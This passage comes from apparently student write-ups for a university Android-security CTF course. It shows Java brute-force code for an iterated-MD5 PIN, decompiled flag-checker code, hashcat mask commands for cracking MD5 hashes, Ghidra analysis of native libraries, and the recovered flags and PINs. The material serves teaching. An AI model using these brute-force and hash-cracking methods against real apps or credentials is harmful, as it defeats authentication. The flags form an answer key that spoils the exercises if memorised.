  String pin = String.format("%06d", i); // Assuming 6-digit PIN
  String hash = hashPin(pin);

    if (hash.equals(targetHash)) {
      System.out.println("Found PIN: " + pin);
      break;
    }
  }
}

private static String hashPin(String pin) {
try {
  byte[] pinBytes = pin.getBytes();
  MessageDigest md = MessageDigest.getInstance("MD5");
  for (int i = 0; i < 25; i++) {
    for (int j = 0; j < 400; j++) {
      md.update(pinBytes);
      pinBytes = md.digest().clone();
}
    }
  return toHexString(pinBytes);
} catch (Exception e) {
  System.err.println("Exception while hashing pin");
return null;
  }
}

private static String toHexString(byte[] bytes) {
  StringBuilder hexString = new StringBuilder();
    for (byte b : bytes) {
      String hex = Integer.toHexString(b & 0xFF);
      if (hex.length() == 1) {
        hexString.append('0');
      }
    hexString.append(hex);
    }
  return hexString.toString();
  }
}
```

After almost 30 minutes (26 on my machine), you find:

```
Found PIN: 703958
```

If we implement in a class like this, you can see we find the correspondence and we call the flag correctly:

```
import java.security.MessageDigest;

public class HelloWorld {

public static void main(String[] args) {
// Example usage
String pin = "703958";

try {
  byte[] pinBytes = pin.getBytes();
  for (int i = 0; i < 25; i++) {
    for (int j = 0; j < 400; j++) {
      MessageDigest md = MessageDigest.getInstance("MD5");
      md.update(pinBytes);
      pinBytes = md.digest().clone();
    }
  }
                        boolean            isValidPin            =
toHexString(pinBytes).equals("d04988522ddfed3133cc24fb6924eae9");
  System.out.println("Is PIN valid? " + isValidPin);
  if(isValidPin) {
    System.out.println("Found Flag: " + getFlag(pin));
  }
}   catch (Exception e) {
    System.err.println("Exception while checking pin");
  }
}

public static String toHexString(byte[] bytes) {
  StringBuilder hexString = new StringBuilder();
  for (byte b : bytes) {
    String hex = Integer.toHexString(b & 0xFF);
    if (hex.length() == 1) {
      hexString.append('0');
    }
    hexString.append(hex);
  }
  return hexString.toString();
}

  public static String getFlag(String pin) {
    return "FLAG{in_vino_veritas}";
  }
}
```

To speed up the brute-force process using Java multithreading, you can parallelize the task by assigning different ranges of PINs to different threads. Each thread will be responsible for checking a subset of PINs, and this can significantly reduce the overall execution time.

9.3. Solution 2

```
# Challenge
It is required to find a six-digits PIN to unlock the flag.
Since it is checked by comparing its MD5 encoding (multiple times) there's no other way
other than try and brute-force it

## Result
- FLAG: `FLAG{in_vino_veritas}`
- PIN: `703958`

# Solution
The actual decompiled code to check the PIN can be used, after a couple small adjustments:
```

```
public static boolean checkPin(String pin) {
    if (pin.length() != 6) {
        return false;
    }
    try {
        byte[] pinBytes = pin.getBytes();
        for (int i = 0; i < 25; i++) {
            for (int j = 0; j < 400; j++) {
                MessageDigest md = MessageDigest.getInstance("MD5");
                md.update(pinBytes);
                pinBytes = (byte[]) md.digest().clone();
            }
        }
        final String hexString = toHexString(pinBytes);
        System.out.println("PIN: " + pin + "    HASH: " + hexString);
        return hexString.equals("d04988522ddfed3133cc24fb6924eae9");
    } catch (Exception e) {
        return false;
    }
}

public static String toHexString(byte[] bytes) {
    StringBuilder hexString = new StringBuilder();
    for (byte b : bytes) {
        String hex = Integer.toHexString(b & 255);
        if (hex.length() == 1) {
            hexString.append('0');
        }
        hexString.append(hex);
    }
    return hexString.toString();
}
```

Most notably, logging has been added, for debugging and to catch the PIN

Now that code can be iterated for all the possible PINs. It is suggested to do it in a multi-threaded way, to check multiple PINs at the same time:

```
class PinChecker implements Runnable {
    final int rangeStart;

    PinChecker(int s) {
        rangeStart = s;
    }

    @Override
    public void run() {
        final int rangeEnd = rangeStart + 100000;
        for (int i = rangeStart; i < rangeEnd; i++) {
            final String pin = String.format("%06d", i);
            if (checkPin(pin)) {
                throw new RuntimeException("The PIN is: " + pin);
            }
        }
    }

    public static void main(String[] args) {
        for (int i = 0; i < 10; i++) {
            System.out.println("Starting thread " + i);
            new Thread(new PinChecker(i * 100000)).start();
        }
    }
}
```

Then the PIN can be found by piping the (extremely long and dense) output to `grep`:

```
javac bruteforce.java && java PinChecker 2>&1 |
    grep -o 'The PIN is: .*\|PIN: .* d04988522ddfed3133cc24fb6924eae9'
```

```
## FLAG
The flag is much easier to find, since it can actually be found as plain text in the
decompiled source code of the application
```

9.4. Prof. solution

Goal: Understand how hard-coded string checks are not safe, even when using cryptographic alghorithms.

In this writeup, we will be using JADX as our decompiler of choice. We locate “MainActivity” and “PinChecker”. We are interested in the method “PinChecker.checkPin(..)”.

if (pin.length() != 6) {

The correct PIN contains 6 numbers. Current PIN guess: NNNNNN

Then, “checkPin(..)” performs a lot of iterations, and repeatedly encrypts the PIN with MD5 algorithm. At the end, it checks if the last iteration is equal to the string “d04988522ddfed3133cc24fb6924eae9”. Even though the number of iteration is quite big, the PIN is very short so a brute-force attack can be performed. By copy-pasting “checkPin(..) code, and using all possible input permutations, we are able to find the PIN is about 30 minutes: “703958”. By inputting the correct PIN, we receive the “FLAG{in_vino_veritas}”.

To speed this process up, we could use Java multithreading. Additionally, the usage of other external decryption tools was allowed (e.g., John the Ripper).

10. Gnirts

10.1. Challenge description

Hint I provide myself: the name of the challenge, if you look for it, suggests code obfuscation. “You’re entering a world of pain” [cit.]

For completeness, the code of *FlagChecker*:

```
package com.mobiotsec.gnirts;

import android.content.Context;
import android.util.Base64;
import android.util.Log;
import java.security.MessageDigest;
import java.util.HashSet;
import java.util.Set;
import kotlin.UByte;

public class FlagChecker {
    private static final String TAG = "MOBIOTSEC";

    FlagChecker() {
    }

    public static boolean checkFlag(Context ctx, String flag) {
        if (!flag.startsWith("FLAG{") || !flag.endsWith("}")) {
            Log.e(TAG, "Not starting with MOBIOTSEC");
            return false;
        }
        try {
            String core = flag.substring(5, 31);
            Log.e(TAG, core);
            String[] ps = core.split(foo());
            if (ps.length != 4) {
                Log.e(TAG, "Bad section amount");
                return false;
            }
            if (!bim(ps[0]) || !bum(ps[2]) || !bam(ps[3])) {
                Log.e(TAG, "Bad capitalization and/or numbers");
                    } else if (!core.replaceAll("[A-Z]", "X").replaceAll("[a-z]",
"x").replaceAll("[0-9]", " ").matches("[a-z]+.[a-z]+.[X ]+.  xXx    +")) {
                Log.e(TAG, "Bad formatting");
                return false;
            }
            char[] syms = new char[3];
            int[] idxs = {8, 15, 21};
            Set<Character> chars = new HashSet<>();
            for (int i = 0; i < syms.length; i++) {
                syms[i] = flag.charAt(idxs[i]);
                chars.add(Character.valueOf(syms[i]));
            }
            int sum = 0;
            for (char c : syms) {
                sum += c;
            }
            if (sum != 135 || chars.size() != 1) {
```

```
                Log.e(TAG, "Bad separators");
                            }  else  if  (!me(ctx,  dh(gs(ctx.getString(R.string.ct1),
ctx.getString(R.string.k1)),     ps[0]),     ctx.getString(R.string.t1))     ||     !
me(ctx,   dh(gs(ctx.getString(R.string.ct2),   ctx.getString(R.string.k2)),   ps[1]),
ctx.getString(R.string.t2))     ||     !me(ctx,     dh(gs(ctx.getString(R.string.ct3),
ctx.getString(R.string.k3)),     ps[2]),     ctx.getString(R.string.t3))     ||     !
me(ctx,   dh(gs(ctx.getString(R.string.ct4),   ctx.getString(R.string.k4)),   ps[3]),
ctx.getString(R.string.t4))) {
                Log.e(TAG, "Bad flag section value");
                             }  else  if  (me(ctx,  dh(gs(ctx.getString(R.string.ct5),
ctx.getString(R.string.k5)), flag), ctx.getString(R.string.t5))) {
                return true;
            } else {
                Log.e(TAG, "Bad flag value");
            }
            return false;
        } catch (IndexOutOfBoundsException e) {
            Log.e(TAG, "Bad length");
            return false;
        }
    }

    private static boolean bim(String s) {
        return s.matches("^[a-z]+$");
    }

    private static boolean bum(String s) {
        return s.matches("^[A-Z]+$");
    }

    private static boolean bam(String s) {
        return s.matches("^[a-zA-Z0-9]+$");
    }

    private static String dh(String hash, String s) {
        try {
            MessageDigest md = MessageDigest.getInstance(hash);
            md.update(s.getBytes());
            return toHexString(md.digest());
        } catch (Exception e) {
            return null;
        }
    }

    private static String toHexString(byte[] bytes) {
        StringBuilder hexString = new StringBuilder();
        for (byte b : bytes) {
            String hex = Integer.toHexString(b & UByte.MAX_VALUE);
            if (hex.length() == 1) {
                hexString.append('0');
            }
            hexString.append(hex);
        }
        return hexString.toString();
    }
```

```
    public static String foo() {
     String s = "Vm0wd2QyVkZNVWRYV0docFVtMVNWVmx0ZEhkVlZscDBUVlpPVmsxWGVIbFdiVFZyVm0xS1IyTkliRmRXTTF
        for (int i = 0; i < 10; i++) {
            s = new String(Base64.decode(s, 0));
        }
        return s;
    }

    private static String gs(String a, String b) {
        StringBuilder s = new StringBuilder();
        for (int i = 0; i < a.length(); i++) {
         s.append(Character.toString((char) (a.charAt(i) ^ b.charAt(i % b.length()))));
        }
        return s.toString();
    }

    private static boolean me(Context ctx, String s1, String s2) {
        Log.e(TAG, "s1: " + s1 + " s2: " + s2);
        try {
              return ((Boolean) s1.getClass().getMethod(r(ctx.getString(R.string.m1)),
new Class[]{Object.class}).invoke(s1, new Object[]{s2})).booleanValue();
        } catch (Exception e) {
            Log.e(TAG, "Exception: " + Log.getStackTraceString(e));
            return false;
        }
    }

    public static String r(String s) {
        return new StringBuffer(s).reverse().toString();
    }
}
```

10.2. Solution 1

Uploading the file in MOBSF, we can see it has 1 activity and 1 provider, and an unknown permission, which is com.mobiotsec.gnirts.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION.

Instead, we can see interesting APIs already called.

We can see also vulnerabilities over the certiifcates in debug and prone to collision, while also being open to debug/not open to anti-VM code.

Also, let's launch: `> jadx -d out gnirts.apk`

We already know where to go at this point (folders: out/sources/com/mobiotsec/gnirts). Inspecting the code, we can understand many things:

- the flag has the usual format FLAG{}
- there is a substring in the middle of 26 chars (from 5 to 31)
- at indexes 8/15/21 is split with hyphens (because we know it's 135 divided in 3 indices)
- this is split in base64
- there is some purposefully placed mess like (*bim*/*bum*/*bam*) over chars, where each one respects a regex
  - *bim* controls lowercase chars
  - *bum* controls uppercase ones
  - *bam* controls alphanumeric ones
- again, hashing at the end as a function

We know the string is 135 chars. Inside */out/resources/res/values* in the file "strings.xml" of the jadx decompiled app, we can find:

```
<string name="ct1">xwe</string>
    <string name="ct2">asd</string>
    <string name="ct3">uyt</string>
    <string name="ct4">42s</string>
    <string name="ct5">70 IJTR</string>
    <string name="flag" />
    <string name="k1">53P</string>
    <string name="k2">,7Q</string>
    <string name="k3">8=A</string>
    <string name="k4">yvF</string>
    <string name="k5">dxa</string>
    <string name="m1">slauqe</string>
    <string name="search_menu_title">Search</string>
    <string name="status_bar_notification_info_overflow">999+</string>
    <string name="t1">82f5c1c9be89c68344d5c6bcf404c804</string>
    <string name="t2">e86d706732c0578713b5a2eed1e6fb81</string>
    <string name="t3">7ff1301675eb857f345614f9d9e47c89</string>
    <string name="t4">b446830c23bf4d49d64a5c753b35df9a</string>
                                                                    <string
name="t5">1b8f972f3aace5cf0107cca2cd4bdb3160293c97a9f1284e5dbc440c2aa7e5a2</string>
```

The *me* function checks if the two hashes are equal and then reverses the string:

```
        me = stringCompare(context, string, string)
                    private static boolean me(Context ctx, String s1, String s2) {
                        Log.e(TAG, "s1: " + s1 + " s2: " + s2);
                       try {                                                    //
"slauqe"
                                                                  return   ((Boolean)
s1.getClass().getMethod(r(ctx.getString(R.string.m1)),       Object.class).invoke(s1,
s2)).booleanValue();
                                                                                //
r_reverse_the_string(slauqe) --> equals
```

The *dh* function simply creates an hash based on the string and converts it into hex. The *gs* function takes the string and returns it literally (from *ct5 = 70 IJTR* up to *k5 = dxa*).

The right track to follow would be decrypting *t1* up to *t4*, as seen from here:

```
  if  (me(ctx,  dh(gs(ctx.getString(R.string.ct1),  ctx.getString(R.string.k1)),
ps[0]), ctx.getString(R.string.t1)) && me(ctx, dh(gs(ctx.getString(R.string.ct2),
ctx.getString(R.string.k2)),     ps[1]),     ctx.getString(R.string.t2))     &&
me(ctx,  dh(gs(ctx.getString(R.string.ct3),  ctx.getString(R.string.k3)),  ps[2]),
ctx.getString(R.string.t3))   &&   me(ctx,   dh(gs(ctx.getString(R.string.ct4),
ctx.getString(R.string.k4)), ps[3]), ctx.getString(R.string.t4))) {
```

The t1-t4 part seems like an MD5 hash. Using infact https://www.md5online.it/index.lm:

- t1 = sic
- t2 = parvis
- t3 = magna

For the latest one, it's also MD5, but this site finds it: https://www.dcode.fr/md5-hash

- t4 = 28jAn1596

We also know *sic-parvis-MAGNA-28jAn1596* is the combination

The latest part it's also an hash, which is created selected literally over the algorithm SHA-256 algorithms. So, the flag would be: *FLAG{sic-parvis-MAGNA-28jAn1596}* If you do the SHA-256 of that, you infact find: *1b8f972f3aace5cf0107cca2cd4bdb3160293c97a9f1284e5dbc440c2aa7e5a2*

10.3. Solution 2

```
# Challenge
A checker application is given. In order to deduce the flag the apk can be decompiled to
reverse the flag checking process, done by the `checkFlag()` method of the `FlagChecker`
class

## Flag
The flag is `FLAG{sic-parvis-MAGNA-28jAn1596}`

# Solution
An annotated version of the function is given, showing the deduction steps.

At a high level the early checks give hints on the structure and format of the flag,
while the actual content is revealed by the `me` function calls.
Those log what they are doing, probably comparing strings, but it doesn't matter. The
second logged hash `s2` is the MD5 of the flag part, which can be easily reversed with
a third party tool
The annotated function is as follows:
```

```
    public static boolean checkFlag(Context ctx, String flag) {
        if (!flag.startsWith("FLAG{") || !flag.endsWith("}")) {
            return false;
        }
        try {
            String core = flag.substring(5, 31);
            // String[] ps = core.split(foo());
            String[] ps = core.split('-');
            // FLAG{...-...-...-...}
            if (ps.length != 4) {
                return false;
            }
            // FLAG{aaa-...-AAA-[aAn]}
            if (!bim(ps[0]) || !bum(ps[2]) || !bam(ps[3])) {
            } else if (
                // FLAG{aaa-aaa-AAA-nnaAannnn}
             !core.replaceAll("[A-Z]", "X").replaceAll("[a-z]", "x").replaceAll("[0-9]
", " ").matches(
                    "[a-z]+.[a-z]+.[X ]+.  xXx    +"
                )
            ) {
                return false;
            }
            char[] syms = new char[3];
            int[] idxs = {8, 15, 21};
            Set<Character> chars = new HashSet<>();
            for (int i = 0; i < syms.length; i++) {
                syms[i] = flag.charAt(idxs[i]);
                chars.add(Character.valueOf(syms[i]));
            }
            int sum = 0;
            for (char c : syms) {
```

```
                sum += c;
            }
            // FLAG{aaa-aaaaaa-AAAAA-nnaAannnn}
            if (sum == 135 && chars.size() == 1) {
                if (
                    // FLAG{sic-aaaaaa-AAAAA-nnaAannnn}
                    me(ctx,
                        dh(gs(
                                ctx.getString(R.string.ct1),
                                ctx.getString(R.string.k1)
                            ),
                            ps[0]
                        ),
                        ctx.getString(R.string.t1)
                    ) &&
                    // FLAG{sic-parvis-AAAAA-nnaAannnn}
                    me(ctx,
                       dh(gs(ctx.getString(R.string.ct2), ctx.getString(R.string.k2)),
ps[1]),
                        ctx.getString(R.string.t2)
                    ) &&
                    // FLAG{sic-parvis-MAGNA-28jAn1596}
                    me(ctx,
                       dh(gs(ctx.getString(R.string.ct3), ctx.getString(R.string.k3)),
ps[2]),
                        ctx.getString(R.string.t3)
                    ) &&
                    me(ctx,
                       dh(gs(ctx.getString(R.string.ct4), ctx.getString(R.string.k4)),
ps[3]),
                        ctx.getString(R.string.t4)
                    )
                ) {
                                        if  (me(ctx,  dh(gs(ctx.getString(R.string.ct5),
ctx.getString(R.string.k5)), flag), ctx.getString(R.string.t5))) {
                        return true;
                    }
                } else {
                }
            } else {
            }
            return false;
        } catch (IndexOutOfBoundsException e) {
            return false;
        }
    }
```

10.4. Prof. solution

Simply use *hashcat* and use this script, conveniently called *script.sh*:

```
#!/bin/sh

hashcat -a 3 -m 0 82f5c1c9be89c68344d5c6bcf404c804 "?l?l?l" --show
hashcat -a 3 -m 0 e86d706732c0578713b5a2eed1e6fb81 "?l?l?l?l?l?l" --show
hashcat -a 3 -m 0 7ff1301675eb857f345614f9d9e47c89 "?u?u?u?u?u" --show
hashcat -a 3 -m 0 b446830c23bf4d49d64a5c753b35df9a "?d?d?l?u?l?d?d?d?d" --show
```

This tool basically allows for hashes decryption and what happens is: “l” stands for lowercase characters, “d” stands for digits, “u” stands for uppercase characters.

Last year (2022-2023), this was the full solution:

```
Goal: More advance reversing (more cryptographic algorithms, invoking class objects and
regex).

In this writeup, we will be using JADX as our decompiler of choice.
We locate "MainActivity" and "FlagChecker". We are interested in the method
"FlagChecker.checkFlag(..)".

-FlagChecker
Contains several methods, but we start by investigating "checkFlag(..)". The Flag will
be accepted (and thus correct), only when able to pass through various checks. Let's
break it down.

------------------------------------------------
if (!flag.startsWith("FLAG{") || !flag.endsWith("}")) {
------------------------------------------------

Explanation: Flag starts with "FLAG{" and ends with "}".
Current Flag guess: FLAG{?????????????}

------------------------------------------------
String core = flag.substring(5, 31);
if (core.length() != 26) {
------------------------------------------------

Explanation: The core part of the flag start after "FLAG{" and ends before "}". Its
size must be 26.
Current Flag guess: FLAG{??????????????????????????}

------------------------------------------------
String[] ps = core.split(foo());
------------------------------------------------

Explanation: We split the core into different arrays, based on a specific delimiter
character. Running "foo()" shows that this delimiter is "-".
Current Flag guess: FLAG{??????????????????????????} + there are one or more "-"

------------------------------------------------
if (ps.length != 4) {
------------------------------------------------

Explanation: Core must be split into 4 arrays. Consequently, there must be 3 "-"
characters.
Current Flag guess: FLAG{??????????????????????????} + three "-"

------------------------------------------------
} else if(!bim(ps[0]) || !bum(ps[2]) || !bam(ps[3])) {
------------------------------------------------

Explanation: Core[0] section must abide by "bim(..)" regex, so it will be all lowercase
(i.e., "l").
Current Flag guess: FLAG{lllll-?????-?????-????????} (still don't know the size of each
```

section)

```
------------------------------------------------
} else if(!bim(ps[0]) || !bum(ps[2]) || !bam(ps[3])) {
------------------------------------------------
```

Explanation: Core[2] must abide by "bum(..)" regex, so it will be all uppercase (i.e., "U").
Current Flag guess: FLAG{llllll-UUUUU-*?????-????????*} (still don't know the size of each section)

```
------------------------------------------------
} else if(!bim(ps[0]) || !bum(ps[2]) || !bam(ps[3])) {
------------------------------------------------
```

Explanation: Core[3] must abide by "bam(..)" regex, so it will be uppercase, lowercase and numbers (i.e., "l/U/2"). Not that helpful.
Current Flag guess: FLAG{llllll-*?????*-UUUUU-llUU22lU} (still don't know the size of each section)

```
------------------------------------------------
} else if(!core.replaceAll("[A-Z]", "X").replaceAll("[a-z]", "x").replaceAll("[0-9]",
" ")
.matches("[a-z]+.[a-z]+.[X ]+.  xXx    +")) {
------------------------------------------------
```

Explanation: All uppercase letters in the core are replaced by "X". All lowercase by "x". All numbers by an empty space " ".
Current Flag guess: FLAG{xxxxx-*?????*-XXXXX-xxXX xX}

```
------------------------------------------------
} else if(!core.replaceAll("[A-Z]", "X").replaceAll("[a-z]", "x").replaceAll("[0-9]",
" ")
.matches("[a-z]+.[a-z]+.[X ]+.  xXx    +")) {
------------------------------------------------
```

Explanation: The transformed core, should match that specific format using regex. Some lowercase letters (core[0]), followed by other lowercase letters (core[1]), followed by both uppercase and numbers (core[2]). Core[3] must be formatted like this: number, number, lowercase, uppercase, lowercase, number, number, number, number. Some information is redundant (specifically core[0] and core[2] format).
Current Flag guess: FLAG{xxxxx-xxxxx-XXXXX- xXx   }

```
------------------------------------------------
char[] syms = new char[3];
int[] idxs = {8, 15, 21};
Set<Character> chars = new HashSet<>();
for (int i = 0; i < syms.length; i++) {
  syms[i] = flag.charAt(idxs[i]);
  chars.add(Character.valueOf(syms[i]));
}
------------------------------------------------
```

Explanation: Defines 3 indexes "8"-"15"-"21". Stores the characters at those indexes position "flag.charAt(8)", "flag.charAt(15)", "flag.charAt(21)".
Current Flag guess: FLAG{xxxxx-xxxxx-XXXXX- xXx   }

```
-----------------------------------------------
int sum = 0;
for (char c : syms) {
  sum += c;
}
-----------------------------------------------
```

Explanation: Converts "char" into "int", then adds up the three values found in the previous step.
Current Flag guess: FLAG{xxxxx-xxxxx-XXXXX- xXx   }

```
-----------------------------------------------
if (sum == 135 && chars.size() == 1 ) {
-----------------------------------------------
```

Explanation: The sum obtained in the previous step, must be 135. We already know there are three "-" characters in the flag. Character "-" has the exact "int" value of "45", which adds up to "135". We found out the position of the delimiters.
(helpful link -> https://compiler.javatpoint.com/opr/test.jsp?filename=CharToIntExample1)
Current Flag guess: FLAG{xxx-xxxxxx-XXXXX- xXx   }

```
-----------------------------------------------
if (me(ctx, dh(gs(ctx.getString(R.string.ct1), ctx.getString(R.string.k1)), ps[0]), ctx.getString(R.string.t1))
-----------------------------------------------
```

-Method "gs(..)"
Method "gs(..)" has two strings as parameters. We can find those parameters ("ct1", "k1") by looking inside "strings.xml". It does some nonsensical operation, but by reproducing it we find out that it always outputs a string with the name of a cryptographic algorithm (i.e., "MD5" or "SHA-256").

-Method "dh(..)"
Method "dh(..)" executes the cryptographic algorithm returned by method "gs(..)".

-Method "me(..)"

```
-----------------------------------------------
return ((Boolean) s1.getClass().getMethod(r(ctx.getString(R.string.m1)), new Class[]{Object.class}).invoke(s1, new Object[]{s2})).booleanValue();
-----------------------------------------------
```

Method "me(..)" invokes the standard "equals(..)" method between two strings, as "m1" value is "slauqe", and method "r(..)" reverses it into "equals".

```
-----------------------------------------------
if (me(ctx, dh(gs(ctx.getString(R.string.ct1), ctx.getString(R.string.k1)), ps[0]), ctx.getString(R.string.t1))
-----------------------------------------------
```

Complete explanation with the three methods working together: Method "gs(..)" returns "MD5". Method "dh(..)" computes the MD5 hash of core[0]. Method "me(..)" compares that hash with another one hard-coded inside "strings.xml". This check must be true so we can perform a brute-force attack on core[0].
We can easily copy-paste the code, in order to create our own checker so that the brute-force attack is on a very small scale. We will input a possible core[0] value, with our best guess being in the format of "xxx".

You can use different toosl to perform the brute-force attack. I used hashcaht as follows
hashcat -a 3 -m 0 82f5c1c9be89c68344d5c6bcf404c804 "?l?l?l" --show

The result is "sic".
Current Flag guess: FLAG{sic-xxxxxx-XXXXX- xXx   }

```
&&  me(ctx,  dh(gs(ctx.getString(R.string.ct2),  ctx.getString(R.string.k2)),  ps[1]),
ctx.getString(R.string.t2))
```

Complete explanation with the three methods working together: Identical to the previous step for core[0], but this time we evaluate core[1]. We will input a possible core[1] value, with our best guess being in the format of "xxxxxx".
The hashcat output is "parvis".
hashcat -a 3 -m 0 e86d706732c0578713b5a2eed1e6fb81 "?l?l?l?l?l?l" --show
Current Flag guess: FLAG{sic-parvis-XXXXX- xXx   }

```
&&  me(ctx,  dh(gs(ctx.getString(R.string.ct3),  ctx.getString(R.string.k3)),  ps[2]),
ctx.getString(R.string.t3))
```

Complete explanation with the three methods working together: Identical to the previous step for core[0], but this time we evaluate core[2]. We will input a possible core[2] value, with our best guess being in the format of "XXXXX".
The hashcat output is "MAGNA".
hashcat -a 3 -m 0 7ff1301675eb857f345614f9d9e47c89 "?u?u?u?u?u" --show
Current Flag guess: FLAG{sic-parvis-MAGNA- xXx   }

```
&&  me(ctx,  dh(gs(ctx.getString(R.string.ct4),  ctx.getString(R.string.k4)),  ps[3]),
ctx.getString(R.string.t4))) {
```

The hashcat output is "28jAn1596"
hashcat -a 3 -m 0 b446830c23bf4d49d64a5c753b35df9a "?d?d?l?u?l?d?d?d?d" --show
Current Flag guess: FLAG{sic-parvis-MAGNA-28jAn1596}

```
if  (me(ctx,  dh(gs(ctx.getString(R.string.ct5),  ctx.getString(R.string.k5)),  flag),
ctx.getString(R.string.t5))) {
```

Complete explanation with the three methods working together: Identical to the previous step for core[0], but this time we evaluate the whole core. We already know the correct answer, but let's analyze this final check too. This time, the cryptographic algorithm is "SHA-256", and with our flag as an input, it correctly return the hash found inside "strings.xml". Thus, our solution is correct.

FLAG{sic-parvis-MAGNA-28jAn1596}

11. Goingnative

11.1. Challenge description

For this challenge was given no description/text inside the usual Google Form, so nothing to report here. We're only given the .apk file, for us ready to inspect.

11.2. Solution 1

Let's start from the usual:

```
jadx -d out goingnative.apk
```

From the path "*out/sources/com/mobiotsec/goingnative/MainActivity.java*", there are some interesting things to notice:

- there is a native function *checkFlag*
- there is a library which is being loaded, which is "goingnative"
- the function *splitFlag*, which checks if the flag in the format *FLAG{XXXXXXXXX}* and if it is 15-character long

The function *splitFlag* uses code from the dynamic library and we can use some tool like Ghidra/IDA (here, the first one will be used) to analyze the library. This can be found in the resources folder, precisely inside "*out/resources/lib/x_86_64/libgoingnative.so*".

In the list of functions, we can notice "*Java_com_mobiotsec_goingnative_MainActivity_checkFlag*" function, which contains a validation over the flag being input, giving "Correct flag" or "Invalid flag" as output.

There is a loop evaluation going on to check if the input The key part is found inside the validate_input function, specifically in the check for three parts of the string: "status", "1234" and "quo". This undergoes the observation of the *strtok* function, which puts a delimiter between all chars.

We still don't know what such delimiter can be; one chance can be putting the underscore which is the usual delimiter as char or either trying the app itself executing via the MainActivity. Inputting it, this confirms the flag is: *FLAG{status_1234_quo}*

11.3. Solution 2

```
# Challenge
The flag is checked using a native library `libgoingnative.so`

It is required to deduce the flag using the native code

## Flag
The flag is `FLAG{status_1234_quo}`

# Solution
It is useful to look at a decompiled version of the `validate_input()` function, used
from the Java `checkFlag` method (using Ghidra for instance):
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 validate_input(char *param_1)

{
  int iVar1;
  int local_2c;
  char *local_24;
  undefined4 local_20;
```

```
  undefined2 local_1a;
  int local_18;

  local_18 = ___stack_chk_guard;
  local_1a = 0x5f;
  local_24 = strtok(param_1,(char *)&local_1a);
  local_2c = 0;
  do {
    if (local_24 == (char *)0x0) {
      if (local_2c == 0) {
        local_20 = 0xffffffff;
      }
      else {
        local_20 = 0;
      }
LAB_0001076a:
      if (___stack_chk_guard == local_18) {
        return local_20;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    if (local_2c == 0) {
      iVar1 = strcmp(local_24,"status");
      if (iVar1 != 0) {
        local_20 = 0xffffffff;
        goto LAB_0001076a;
      }
    }
    if (local_2c == 1) {
      iVar1 = strcmp(local_24,"1234");
      if (iVar1 != 0) {
        local_20 = 0xffffffff;
        goto LAB_0001076a;
      }
    }
    if (local_2c == 2) {
      iVar1 = strcmp(local_24,"quo");
      if (iVar1 != 0) {
        local_20 = 0xffffffff;
        goto LAB_0001076a;
      }
    }
    local_24 = strtok((char *)0x0,(char *)&local_1a);
    local_2c = local_2c + 1;
  } while( true );
}
```

The function is a simple unfolded for loop, that checks that every piece (token) of the flag is the correct one. The check is done using plain-text strings, that are, respectively:

- `status`
- `1234`
- `quo`

The tokens are separated using _, so the final string can be reconstructed.

11.4. Prof. solution

Available at https://stem.elearning.unipd.it/pluginfile.php/523823/mod_resource/content/1/goingnative.pdf

12. Goingseriousnative

12.1. Challenge description

For this challenge was given no description/text inside the usual Google Form, so nothing to report here. Inside the form we notice there is a PIN input to give. We're only given the .apk file, for us ready to inspect.

12.2. Solution 1

Let's start from the usual:

```
jadx -d out goingseriousnative.apk
```

From the path "*out/sources/com/mobiotsec/goingseriousnative/MainActivity.java*" there are some interesting things to notice:

- there is a native function *checkFlag*
- there is a library which is being loaded, which is "*goingseriousnative*"
- the other parts of the code simply set a text being changed, before, currently and after, the on click we get a string which gets set in the main widget. The value of the flaf is in clear, but as said, a PIN is required and so we will delve into further analysis.

We can see the binary gets loaded and we will look into *"out/resources/lib/x_86_64/libgoingseriousnative.so"* with a tool like Ghidra. In the list of functions, we can notice "Java_com_mobiotsec_goingnative_MainActivity_checkFlag" function, which uses two parts; preprocessing checking inputs and validation.

The checkflag itself does nothing, instead the preprocessing is much more interesting. We can see there's a loop here, using a delimiter with the *strtok* function. This time IDA tells us more things; we can see there is an input going on, using the *sscanf* function with the *%d* format, which convert an input string called s into the decimal format. Before the *strtok* function, there is the increment of a counter (*ecx* value, so *var_44*) and the result of such elaboration inside the var_20 register.

We can also see an instruction which applies a shift over the current counter value, multiplying it by 4 given it is an integer. The result of such computation is hence saved into an array of integers, given a correct validation or −1

The validate function gets called in the middle of preprocessing and actually takes back the computation from such function; we can see there is a compare between 5 and the actual value; it then jumps towards where the validate will receive the array of integers as argument and applies the delimiter character with the string. The *Rbp+var_14* is the loop counter, while the *Rbp+var_10* is the array of integers which is received from rdi register as parameter.

The compare actually checks if the strings is made by 5 tokens; if decompiled in Ghidra, we see the loop iterates 5 times, one for each digit. There is also the compare with the value *64h* (100 in decimal representation). The *jge* assembly instruction makes us understand there is a compare between that value and the sum of such, which creates a 5-digit PIN which sum should be greater than 100. If it less than that value, it returns (Ghidra shows this).

12.3. Solution 2

```
# Challenge
Another check flag using a native library

## Flag
The flag is simply found in the `MainActivity` code:
`FLAG{omnia_prius_experiri_quam_armis_sapientem_decet}`

## PIN
The pin to get the flag is the actually interesting value and it can be any sequence
of five numbers that sums to more than 100, like `100 0 0 0 0`

# Solution
In order to understand what the application does, when checking for the input flag, a
decompilation of the two native functions is useful

## Decompilation
```

- Preprocessing function:

```
bool preprocessing(char* input) {
    char separator = ' ';
    char* number_string = strtok(input, &separator);
    int pin[5];
    for (int i = 0; number_string != NULL; i++) {
        sscanf(number_string, "%d", pin + i);
        number_string = strtok(NULL, &separator);
    }
    return i == 5 && validate(pin);
}
```

- Validate function:

```
bool validate(int[5] array) {
    int sum = 0;
    for (int i = 0; i < 5; i++) {
        sum += array[i];
    }
    return sum >= 100;
}
```

```
## Conclusions
From the decompilation it appears that the flag that is required as input is actually
a sequence of five numbers, separated by spaces.
The only check done by the validation is that the sum of the numbers has to be at least
100

When entering a valid pin the application tells the flag
```

12.4. Prof. solution

Available at https://stem.elearning.unipd.it/mod/resource/view.php?id=326493

13. Frontdoor

13.1. Challenge description

This task may seem like an easy, silly, and unrealistic toy sample, but many real-world apps screwed up the same way. Find the vulnerability exposed by the frontdoor app and exploit it in your own app!

13.2. Solution 1

Let's start from the usual:

```
jadx -d out frontdoor.apk
```

